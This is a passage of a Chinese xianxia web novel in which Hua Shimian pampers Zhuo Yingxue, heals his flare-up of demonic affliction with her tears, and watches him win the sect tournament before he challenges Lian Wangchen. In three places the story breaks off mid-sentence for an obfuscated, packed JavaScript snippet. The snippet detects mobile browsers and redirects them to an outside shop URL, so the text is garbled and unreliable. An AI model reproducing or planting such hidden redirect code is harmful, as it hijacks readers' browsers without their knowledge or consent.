“你整日修炼属实是很辛苦哦,你看看,你的皮肤都粗糙了许多,还长了一层茧子,这个香膏你拿回去,每天洗完手,涂在茧子上还有手背上,皮肤会好很多。” 她涂抹香膏的时候把头低得距离卓映雪很近,垂下的眼睫像蝴蝶,在灯火下扑簌簌振翅。 柔软的指腹在掌心里来回转着圈,使得那块本应毫无知觉的皮肤竟奇异地泛起一抹痒意。 画时眠只顾着怎么才能对他更好一点了,却忘了卓映雪其实并不需要这个。 硬茧是为了能更好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585717|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保护皮肤不受伤害。 卓映雪自然知道,但他依旧什么都没说,他甚至摊开另一只手,小声道:“小姐,这只手也有。” 于是画时眠又沾了一点香膏,在他另一只手上也涂了一层。 像卓映雪这个年纪的少年身体抽条是最快的,可能昨日才与伤心崖的野草齐平,第二日再看时,已经与后山的桃树一样高了。 这当然是夸张的说法,但卓映雪的确长得很快,虽然他平时只能用两套外门弟子的宗服来回换着穿,但画时眠还是为他挑选了许多衣服。 “总不好每次出门都穿宗服吧,就当下次出来玩的时候穿呗。” 画时眠又拿起一件玄色成衣,在他身上比了比,放回原处。 不好不好,他不适合穿深色。 小姐说还有下次。 卓映雪跟在画时眠身后,两手提着的袋子越来越多,他们走走停停,每停下来一刻,他手里的袋子都会多一个。 里面装的全是为他置办的东西。 这些应该够了吧? 画时眠走累了,让他和自己一起坐在寺庙前的石阶上歇会儿,她锤锤小腿,心说话本里的男主角为女主角豪掷千金的时候,女主角总是感动得要落泪。 卓映雪没落泪,他面上很少出现大幅度的表情,除非是笑起来。 “卓映雪,”她用手肘捅捅卓映雪,吞了口口水,“你开心吗?” 月光皎若润玉,照得少女摊在台阶的裙摆熠熠生辉,像织进了满天的星子。 她像玉兔一样抱膝,让自己看起来呈毛茸茸的圆球状。 “小姐,我很开心。” 画时眠松了口气。 开心就好。 她歇够了,扶着石头做的扶手站起来伸伸腿儿,指着寺庙深处的一汪水潭,问向卓映雪:“要不要去许愿?” 卓映雪不解道:“许愿?” 水潭清澈见底,鹅卵石铺陈开来,水面偶有粼粼银光,那是锦鲤的尾巴掀起的纹路。 画时眠站在水潭前,从小荷包里翻找出两枚铜板,递给卓映雪一枚:“我听说,往水池里扔进一枚铜板,然后虔诚的许愿,愿望就会被天上的神仙听到,帮我们实现。” 她说完,率先扔进一枚铜板,水面咕咚一声,铜板沉入池底。 她双目紧闭,双手合十,模样甚是虔诚。 可是卓映雪好像没什么愿望,但他不愿辜负画时眠的心意,思考片刻,也扔了铜板进去,和画时眠的那枚叠在一起。 画时眠心说,希望卓映雪的心窍快快养成。 卓映雪心说,希望小姐的愿望全都实现。 — 等画时眠和卓映雪回到伤心崖之后,发现连妄尘已经来过了。 “这一定就是妄尘师兄说的奇花了!” 画时眠啧啧称叹,放下手中的东西,一连围着大门转了好几圈。 先前被她扣出裂纹的白瓷落地花瓶已经被撤走,连妄尘为她换上了两个四方的琉璃花樽,里面盛着远从北域带来的雪水,浸着比她还高的花。 看着与玉台金盏相似,只是通体皆为透明,叶片宛若水头极好的翡翠,花瓣则像温润的玉片,有规律地层层堆叠,煞是动人。 “卓映雪,你先休息吧,趁着不是很晚,我去找一趟妄尘师兄,亲自谢谢他!” 妄尘师兄从大老远的地方回来,还特意给她带了花,发现她不在一定很失落。 “卓映雪?” 画时眠见他还盯着花发呆,临出门前又叫了他一声。 “嗯,小姐去吧,”卓映雪揉揉眉心,后撤两步,扯出一个微笑:“我等小姐回来。” 危险。 这两株花上面隐约传来一种极淡却令他生怖的气息。 那黏腻的、十分熟悉的、似乎从他骨血中剥离出来的恶心气息。 胸口像是压了一块千斤重的石头,卓映雪有些喘不过气,他单膝跪在地上,死死抓住心口的位置,窒息感如潮水涌来,极度的恐惧像蛛丝在脑海里蔓延,他飞快地在记忆里搜索这股气息的源头,却怎么也想不起来。 上面沾染的气息实在太少了,顷刻间挥发而去,像是只剩头尾的绳子,中间的断开的地方使他无论如何也摸索不到。 他......到底在何处见过这股气息。 11. 开场 “神不渡。” 连妄尘寝殿中香线袅袅,画时眠只觉得灵魂都被洗涤了,她捧着茶杯喝了一大口。 “又是神不渡?”她转了转茶杯,咽下不下心吞进去的茶叶,“妄尘师兄,我总听你和爹爹提到过这个地方,这是哪里,很危险吗?” 就是不知道危不危险,这才是最危险的。 这些年北域妖兽暴动事件频频发生,殃及无辜百姓无数,北域严寒霜冻,土地贫瘠,并无宗门大家,数个小门派联合上书,请求袭无宗派人调查此事。 他这才被师尊调去北域探查情况,可此事实在奇怪,怎么也查不到妖兽暴动的源头。 妖兽不等同灵兽,个个脾性残忍,暴戾凶狠,他与妖兽沟通无果,唯一能做的只有大开杀戒。 将暴动的妖兽斩杀能解一时之需,却到底是治标不治本,无异于扬汤止沸,而且北域妖兽数量之多,数十万计,光杀是杀不完的。 连妄尘搭在桌面上的指尖轻微抽动,更何况...... 目前露面的妖兽最高不过七阶,只怕还有不少更高阶的妖兽潜于水面之下,甚至可能出现高于九阶的妖兽,等它们现身之时,恐怕又要掀起一阵不小的腥风血雨。 经过他几次三番不懈地探索,终于在北域雪原的最中央发现了一处名为神不渡的秘境。 他怀疑妖兽暴动的秘密,就藏在神不渡里。 可神不渡周围不知被什么屏障包裹,像是从未见过的陌生阵法,强攻无果,就连他也只能止步于外围,丝毫找不到破阵的头绪。 他此次出行便是将整个阵法完整记了下来,准备带回来与师尊以及诸位峰主共同研究,再商议下一步的决定。 袭无宗并无阵修,要是想彻查此事恐怕还要与其他宗门联手,这又是一桩费人费心的事情。 连妄尘放下茶壶,好看的眉头团成一个小结,又立刻展开。 不过这些糟心事小姐不需要知道,她又做不了什么,告诉她无非是多一个人劳心伤神罢了。 “还好,”连妄尘对画时眠笑笑,另起了话题,“小姐,我带来的那两株寻瑶草你见到了吗,它们生长在北域东部,我专门绕了路去找的。” 画时眠莞尔道:“原来它们有这么好听的名字,我已经看到啦,所以才专程来向你道谢的嘛。” “道谢就免了,”连妄尘面上露出几分倦容,“等夜间熄灯后,寻瑶草的叶脉和花脉会闪着细微的蓝光,蛮漂亮的,就像萤火虫一样,我提前告诉你,免得你熄灯后被吓到。” 他从季巧那里听说女孩子比较喜欢亮晶晶的东西,既然决定带回来些什么,自然是要找符合小姐喜好的。 他眼尾泛上困顿的余红,画时眠看在眼里,知道他一路舟车劳顿,这会是该累了,便跳下凳子,起身作别:“那妄尘师兄好好休息,我等你闲下来再来看你。” 连妄尘没再推辞,将她送出伏龙殿:“路上小心些,小姐再见。” 伏龙殿与伤心崖相邻,因此并不算远,画时眠从山下的湖泊边折了一只杨柳,哼着不知名的小曲儿边往草地上挥动柳枝边上山,避免踩到睡觉的蛙。 她今天算是足够关爱卓映雪了吧? 除了给他买东西,还能怎么关爱他呢...... 给他做好吃的?可是除却手艺一般不说,她自己的一日三餐要么在食堂解决,要么都是卓映雪给她做点什么点心。 或者给他做点用的,就像护腕那样? 她一脚踩进草丛,惊起乱窜的蚂蚱。 不知道卓映雪睡了没有,她正好可以看看熄灯后的寻瑶草到底长什么样子,画时眠心情颇为不错,面上不自觉带了几分笑意,脚程也快了许多。 只是这笑意在见到深夜里仍旧灯火通明的庭院时戛然而止,凝固在面上。 煞气......又来了! 察觉到不对,画时眠一把扔掉伴了她一路 的柳条,撒腿朝庭院里狂奔。 “卓映雪!” 为何今日她距离卓映雪这么近的时候才感受到煞气的存在! 明明上次卓映雪魔阴发作时,她在山下的藏书阁就已经有所感应了。 不对,不对!一定是哪里出了问题! 卓映雪席地而坐,体内不容控制的灵力像刚从牢笼中放出来的凶兽,拧成数股,在封锁的经脉中横冲直撞。 每一次碰壁都给他带来极大的痛苦,尽管他极力忍耐,却依旧痛得浑身发抖。 就连体内如此磅礴的灵力,也只能与这痛楚抗争分毫。 他死死咬住下唇,触目惊心的血色喷涌而出,染红了地上的外衫一角。 那花樽上残余的气息已经消失的无影无踪,却还是在彻底弥散之前诱发了他体内的莫名剧痛。 他原想试图通过运行灵力来抵挡这痛感,的确起了作用不假,可不亚于螳臂当车,剧痛以极其可怕的速度冲破灵力的束缚,再次扩散至全身。 尤其是空荡荡的心口的位置,是这股剧痛的源头! “卓映雪!” 画时眠一脚踹开门,正逢卓映雪捂住心口不停呕血的画面,他周身被淡蓝色的灵光笼罩,让画时眠无法靠近一步。 “卓映雪,你把灵力收起来,我碰不到你!” “卓映雪,你能听到我说话吗,我是画时眠!” “卓映雪,你别怕,你让我碰一下你,好不好......” 鼻尖涌上浓重的涩意,画时眠脚下一软,跪坐在他身前,双手徒劳地不停拍打横亘在两人之间冰冷的的灵光壁上,又哭又喊。 灵光里面的人深深伏在地面上,从喉咙深处发出一连串隐忍的嗬声,超脱控制的灵力依旧在与剧痛抗衡,这样一方具有压倒性优势的战争,受折磨的是他这副作为战场的身躯。 耳畔受到强烈挤压,造成前所未有的耳鸣。 卓映雪抱住头,嘶哑着嗓子,痛得满地打滚。 小姐......小姐。 他知道他需要小姐的眼泪。 可是他不想看见小姐在他面前哭泣。 小姐每次一哭他都很难受,被称之为心脏的地方很难受,是比这剧痛还要强烈的难受。 “卓映雪,你能不能听到我说话,你把灵力撤掉,我的眼泪可以救你,卓映雪,你别死,我求求你了,你不能死......” 小姐。 混合着寻瑶草与血腥味的空气里扩散开丝丝缕缕的甜柿香气,最普通不过的果香在此刻仿佛能够穿透高至两仪境的灵力结界,将裹挟着苦涩气味的乞求传达给卓映雪。 是小姐眼泪的味道。 小姐来了。 小姐又一次为他而流泪了。 “小姐......” 被咬得血肉模糊的舌尖使他口齿不清地唤出声,灵光壁随着他尾音的落下而从上至下一点点剥落,像泡沫破灭后的水汽,消散在风里。 他的脸被一双柔软的手捧住,唇齿间旋即品尝到了熟悉的苦涩。 大颗大颗的眼泪像断了线的珠子,沁入他的口中。 “卓映雪呜呜呜呜吓死我了,我还以为你再也听不见我说话了,你刚才不理我真的把我吓坏了......” 画时眠不停地抹眼泪,直到水迹把她乳白色的蓬蓬袖浸润至快要透明,她发现实在没地方擦了,便拉起卓映雪的衣服下摆,当然是没被血迹沾到的那一边,继续往自己脸上抹。 “小姐,对不起,我......” 痛感被眼泪抚平,意识渐渐回笼,卓映雪手足无措地在一旁立了半晌,把自己的里衣扯出来一角,递给画时眠。 “小姐,用这个擦吧,这个是干净的。” 画时眠狠狠瞪了他一眼,接过里衣用力擦了把鼻尖。 魔阴每次专挑她不在的时候发作! 若是像第一次发作时那样能让她及时注意到还好,若是日后都像今日这般,她看这卓映雪一个人能撑到什么时候。 怕不是会活活痛死。 卓映雪安慰道:“小姐,你别哭了,我告诉你个好消息啊。” 画时眠吸了吸鼻子:“是什么?” 卓映雪道:“我发现我的灵力可以与这痛感抗衡片刻,尽管时间很短,但不出意外的话,只要我坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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寻瑶草上残留的气息早就不见了,也意味着卓映雪失去了线索。 “寻瑶草吗?”画时眠打了个哈欠,脑子都快不转圈了,“是妄尘师兄从北域东部带回来的,是不是很漂亮。” 北域。 雪原。 过往的记忆碎片再次闪回,是他从好不容易凶煞之地离开之后,赤足走在一望无际的雪地中,被人从背后打晕的场景。 原来他来自北域。 — 袭无宗很重视每年的宗门大比,这不仅关乎到这届弟子的整体素质,更关乎师德师风年度考核评选。 毕竟杰出的师长师尊有额外的奖金拿。 所以今年的宗门大比依旧举办得浩浩荡荡,大张旗鼓,除去外出历练的弟子之外,几乎所有人都到了场。 不少人都听说了今年出现了一位夺魁的种子选手——是小姐从外面带回来的,所以来看热闹。顺带一提,就连往年从不参加这种活动的小姐今日也到了场,与宗主和其他六位峰主一同坐在中央的主席位上。 这一届的外门弟子足有六百余人,被平均分为八组,坐在八个方位等候上场,中间空出了一个巨大的圆形场地,这便是外门弟子们等下比赛的地方。 画时眠把手搭在额头上,眯起眼睛在八个四四方方的方块里找了半天,发现每个密密麻麻的小人都长一个模样,实在看不到卓映雪在哪,只得放弃。 连妄尘腾空而起,飘立在圆心处,先是对着空中四散的席位行了礼,照例说了些漂亮的场面话,听得画时眠大白天的昏昏欲睡。 熠熠金光自连妄尘的佩剑上而出,空中随即展开一面金色透明类似书卷一样的屏面,滚动着外门弟子的名单。 以凡人的目力是看不清上面的字的,画时眠只好拽拽画祺安的袖子:“爹,你快帮我找一下,卓映雪在哪里?” 画祺安只扫了一眼,便道:“他在坎组,要等到下午了。” 不止画时眠心心念念着卓映雪,画祺安也一样在意他的考核结果。 其他六位峰主也一样——毕竟,截止到目前,卓映雪都未表露出要拜入剑灵峰的心向,他的修炼方向最终花落谁家,尚未可知。 12. 越级挑战 外门弟子们按照先天八卦的排列分为八个小组,除去剑道之外的六个不需要大规模场地来打斗的科目是八个小组同时进行,考完即出成绩,剑道则是按照小组组内顺序依次进行两两对决,败者出场领取整体的成绩单,胜者进入下一场比试。 因此画祺安说得不错,等到卓映雪他们组考核时,估计正值夕阳时分。 不过在一组比赛时,其他小组的弟子也不会离场,一来是熟悉考核的内容,二来也是总结前人的错误和经验,自己及时调整。 但对于画时眠来说,要在这里枯燥地坐上一天观看自己一窍不通的比赛,就有点难熬了。 偏偏坎组的位置又偏又远,她又找不到哪个是卓映雪。 日头逐渐升高,尽管有身旁画祺安的灵力护体,画时眠依旧热得满头大汗,刘海儿紧紧贴在脸上,蔫了吧唧瘫在椅子上,撩起最外层的裙摆有一下没一下地扇着干燥的暖风。 为什么已经秋天了还是热得要命啊...... 画时眠被晒得眼晕,口舌发干,开始怀念昨晚卓映雪给她做的桃子沙冰,早知道就该细细品味一番,不像猪八戒吃人参果一样三两口就扒了个精光。 导致现在连回味都回味不了。 主席位浮在空中,仅由薄薄几片祥云托着,两侧随着内阁弟子的走动不时出现金色透明的台阶,画时眠正扼腕叹息,忽觉自己的后背被人拍了一下。 她连忙扭头:“季巧师兄?” 季巧先是对画祺安行了礼,叫了声师尊,得到画祺安的应允后才继续对画时眠笑笑,露出八颗洁白的牙齿,在阳光下闪闪发光:“小姐,我来给你送伞。” 画时眠伸长脖子,这才看见他背后背了把竹伞。 “这是重曦锻造的,她的辈分还不够格来主席位,只好托我之手给你送来。” 季巧一边解释一边撑开伞,交到她手中。 伞骨由药灵峰种植的缎月竹制成,手感温润清凉,竹节处显然被人细心打磨过,泛着莹润的光,浅色伞面便不知是用何材质制作的了,应当是器灵峰特有的材料。 整把伞只有顶端嵌着的一颗闪得惊人的灵石象征着它出自重曦独特的审美。 画时眠把伞搭在肩上,日光与燥热顿时被隔绝伞外,甚至周围的温度也开始小幅度的下降,像与外界隔了层雾。 重曦此举不亚于是雪中送炭。 画时眠眼睛亮了亮,往周围环顾一圈,终于在右下方的一角找到了重曦的身影,她正往主席位这边笑着挥手,示意自己看到了。 于是画时眠也赶紧挥了挥。 “谢谢你啊季巧师兄,也替我谢谢重曦师姐!”画时眠转了转伞,小声道:“要是重曦师姐还需要什么亮晶晶的小玩意儿,让她尽管来伤心崖的仓库取,我这里要多少有多少。” “好,我一定代为转达,”季巧注视着台下,对着外门弟子们歪扭七八的剑法直皱眉头:“这都什么跟什么,看来今年能留下来的新生又寥寥无几。” 闻言,画时眠也探出目光。 很好,依旧是看不懂一点。 一个个像喝醉酒之后又在空中被雷劈了一样。 “等到下午就好了,季巧师兄,你有没有见过卓映雪的剑法,打得那是相当得好噢。” 画时眠下意识坐直了身子,毫不吝啬地给出赞美。 颇有点王婆卖瓜自卖自夸的嫌疑。 “何止是见过,我还和他打过呢,”下面打得实在惨不忍睹,季巧收回视线,竖起大拇指:“这小子,比起当年的妄尘也不遑多让。” 他与季巧师兄打过? 画时眠暗暗吃了一惊,什么时候的事情,她怎么不知道? 卓映雪没有受伤吧? 她眸中的担忧丝毫不加遮掩,因此季巧很快补充道:“放心,我只跟他简单过了两招,试试他的实力罢了。看来,今年的宗门大比,第一已经出现了。” 伞杆硌得画时眠肩膀有些痛,她换了只手,挪到左侧。 又有一位师姐从一侧上来,跟画祺安不知汇报了什么情况,总之两人面色尚可,师姐汇报完瞧见两人,笑着打了声招呼:“季师兄,小姐。” 季巧的注意力被吸引了过去:“云绝,你们回宗了?” 宋云绝无语道:“季师兄,你干脆把眼珠子抠出来装重师姐身上算了,反正你也不需要,我们已经从蓬莱回来一个多月了。” 季巧道:“蓬莱好玩吗,我记得重曦一直很想要东珠,只有蓬莱产这个,找机会我也要去一趟。” 宋云绝道:“我们又不是去玩的——我这次来找师尊就是传达一下蓬莱岛主的话,蓬莱岛明年年初会送几个弟子来袭无宗研习两个月,暂时是这么商议的,后续有调整的话会再说。” 她说到这里,轻轻拉了下画时眠的小辫子,声音放软了许多:“小姐,我先前听药灵峰的扶婴真人说你一个人孤零零的蛮可怜,恰好,蓬莱岛主的女儿此次也会来,你们年纪相仿,说不定能成为很好的朋友哦。” 猝不及防被点名的画时眠:...... 扶婴真人对她是不是有什么误解。 到底从哪里看出她孤零零蛮可怜的。 她就说为什么近日扶婴真人总是一副神神叨叨的模样,像是中邪了一样,虽较往日慈眉善目,却总有种浓重的违和感,让她浑身发毛。 而且怎么连剑灵峰的师姐都知道了,还让季巧师兄听到了,这下可好,季巧师兄这个大嘴巴会宣扬至全宗门的。 索性两人没有接着往下聊,主席位并不允许他们待太久,两人很快便离开了。 竹伞从右肩换到左肩,又从左肩换到右肩,又换到左肩,等到足以可以把伞收起来的时候,画时眠终于等到了卓映雪入场。 一切都十分顺利,也正如所有人所料的那样,卓映雪根本无需使用全力,甚至说连三分力也用不上,便在短短几招之间挑翻对手,一跃成为坎组乃至前六组的第一名。 他完美地将剑招与自身的战斗经验融合在了一起,出手又稳又准,身形优美利落,一招一式宛若游龙,直冲命门。 要不是碍于诸位长辈都在场,画时眠真想跳起来大喊:“真棒!” 火红的云朵悬于天际,热烈得像少年春风得意的心。 鼻尖因激动而沁出几颗细小的汗珠,画时眠强迫自己把满腔喝彩咽回肚子里,余光不忘注意画祺安与其他六位峰主的神情。 应该都是很满意的。 她听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588261|205247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画祺安压低声音小声笑了笑,也将其他六位峰主眉目间的喜色尽收眼底。 足下绵软的祥云像她在逛庙会时遇见过的云朵糖,此刻被落日衬出淡淡的粉,体内等待一天的疲惫一一扫而空,画时眠踩了踩云朵,有种想一口填进嘴里的冲动。 直到手指触碰到唇边,她才恍然惊觉自己竟然一直保持着呵呵傻笑的表情。 难怪脸颊如此酸痛。 她揉了揉脸颊,觉得自己实在太过傻气,又忍不住想笑。 “想笑就笑出来吧,卓映雪,别把自己憋死了。” 陶奚把成绩单卷吧卷吧,塞进灵雀腿上的信筒中,目送它往西南方飞去。 终于通过了考核,要赶紧把这个好消息告诉老爹。 他在乾组,虽然也顺利成为了小组第一,却在后来对阵卓映雪败下阵来——其实是主动认了输,这会儿才刚拿到成绩单。 注定会输的比赛如果还坚持打下去,就是主动找揍挨。 这是陶奚在卓映雪手下悟出来的人生道理。 “看来今年的第一名一定是你了,我猜后面两组的优胜者会和我一样主动放弃挑战你的机会。” 陶奚有点眼红,却也心服口服。 虽然袭无宗并不会给宗门大比排名次——这毕竟是通过性考核而非选拔性考核,况且前几名也没有什么奖励。 但这是一次多好的出风头的机会啊。 简直帅死了! 简直聒噪得要命。 卓映雪没理他,依然当他在狗叫。 他坐在待定席间,忍不住抬头望向最中央的主席位,手中不自觉地摩挲着冰凉剑鞘,勾起唇角。 一点明橙色的衣裙在一众沉稳的深色中脱颖而出,在风中沙沙作响。 小姐在看他。 从他站在场上的那一刻起,小姐的视线便如影随形,像是指引方向的北极星。 他甚至能从这虚无缥缈的目光中感应到小姐的一颦一笑,看见她唇边扬起的弧度,数清她明眸上翘起的羽睫。 他不是孤身一人在比赛,小姐无时无刻不陪在他身边。 这样的认知使他在出招时如有神助。 他知道小姐希望他出人头地,在修道途中学有所长,所以他一定会拿下宗门大比的魁首。 可夺得魁首不是他的目标。 余下的两组比赛没什么好看的,与前五组的质量没什么区别,也正如陶奚所说,剩下两组的第一名都放弃了继续挑战,下台领了成绩单。 这两个倒霉蛋虽然夺得了组内第一,却并未达到袭无宗对他们的标准,因此都未通过考核。 待定席转眼间仅剩卓映雪一人。 他的成绩在连妄尘手里,连妄尘面色柔和,眼睛里盛满笑意,考核接近尾声,他重新站在台上,先是对着主席位躬身行礼,又对着同门及仍未散场的外门弟子行了礼,正欲开口说些什么,被已经离开待定席区域的卓映雪打断: “宗主,诸位峰主,弟子卓映雪,申请越级挑战:” 他气定神闲地站定连妄尘对面,略一抱拳后直起身子,抽出腰间的木剑,直至对面高大的少年: “——师兄连妄尘。” 这,才是他的目标。